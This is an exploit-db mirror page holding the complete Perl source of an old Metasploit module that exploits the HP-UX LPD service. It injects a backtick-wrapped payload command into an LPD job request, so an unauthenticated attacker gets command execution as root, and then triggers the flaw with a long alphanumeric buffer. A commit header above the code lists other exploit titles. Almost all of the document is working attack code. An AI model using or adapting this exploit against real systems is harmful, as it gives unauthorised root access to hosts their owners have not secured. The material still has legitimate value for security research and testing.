exploit-db-mirror/platforms/hp-ux/remote/1261.pm
Offensive Security 477bcbdcc0 DB: 2016-03-17
5 new exploits

phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit
phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities

My Book World Edition NAS Multiple Vulnerability
My Book World Edition NAS - Multiple Vulnerabilities

Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL
Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities

cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability
cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities

DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php)
DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities

Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability
Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities

N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability
N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities

New-CMS - Multiple Vulnerability
New-CMS - Multiple Vulnerabilities

Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability
Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities

JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability
JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities

i-Gallery - Multiple Vulnerability
i-Gallery - Multiple Vulnerabilities

My Kazaam Notes Management System Multiple Vulnerability
My Kazaam Notes Management System - Multiple Vulnerabilities

Omnidocs - Multiple Vulnerability
Omnidocs - Multiple Vulnerabilities

Web Cookbook Multiple Vulnerability
Web Cookbook - Multiple Vulnerabilities

KikChat - (LFI/RCE) Multiple Vulnerability
KikChat - (LFI/RCE) Multiple Vulnerabilities

Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability
Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability

xEpan 1.0.4 - Multiple Vulnerability
xEpan 1.0.4 - Multiple Vulnerabilities
AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection
Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow
Cisco UCS Manager 2.1(1b) - Shellshock Exploit
OpenSSH <= 7.2p1 - xauth Injection
FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
2016-03-17 07:07:56 +00:00

108 lines
3 KiB
Perl
Executable file

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::hpux_lpd_exec;
use base "Msf::Exploit";
use IO::Socket;
use IO::Select;
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'HP-UX LPD Command Execution',
'Version' => '$Revision: 1.13 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>'],
'Arch' => [ ],
'OS' => [ 'hpux' ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The LPD server port', 515],
},
'Payload' =>
{
'Space' => 200,
'Keys' => ['cmd_nospaceslash'],
},
'Description' => Pex::Text::Freeform(qq{
This exploit abuses an unpublished vulnerability in the HP-UX LPD
service. This flaw allows an unauthenticated attacker to execute
arbitrary commands with the privileges of the root user. The LPD
service is only exploitable when the address of the attacking system
can be resolved by the target. This vulnerability was silently patched
with the buffer overflow flaws addressed in HP Security Bulletin HPSBUX0208-213.
}),
'Refs' => [
['URL', 'http://archives.neohapsis.com/archives/hp/2002-q3/0064.html']
],
'Keys' => ['lpd'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
my $res;
# We use a second connection to exploit the bug
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
srand(time() + $$);
my $num = int(rand() * 1000);
$s->Send("\x02msf$num`$cmd`\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our second job request command");
$s->Close;
return;
}
$s->Send("\x02 32 cfA187control\n");
$res = $s->Recv(1, 5);
if (ord($res) != 0) {
$self->PrintLine("[*] The target did not accept our control file");
$s->Close;
return;
}
$self->PrintLine("[*] Remember to kill the telnet process when finished");
$self->PrintLine("[*] Forcing an error and hijacking the cleanup routine...");
$s->Send(Pex::Text::AlphaNumText(16384));
$s->Close;
return;
}
# milw0rm.com [2005-10-19]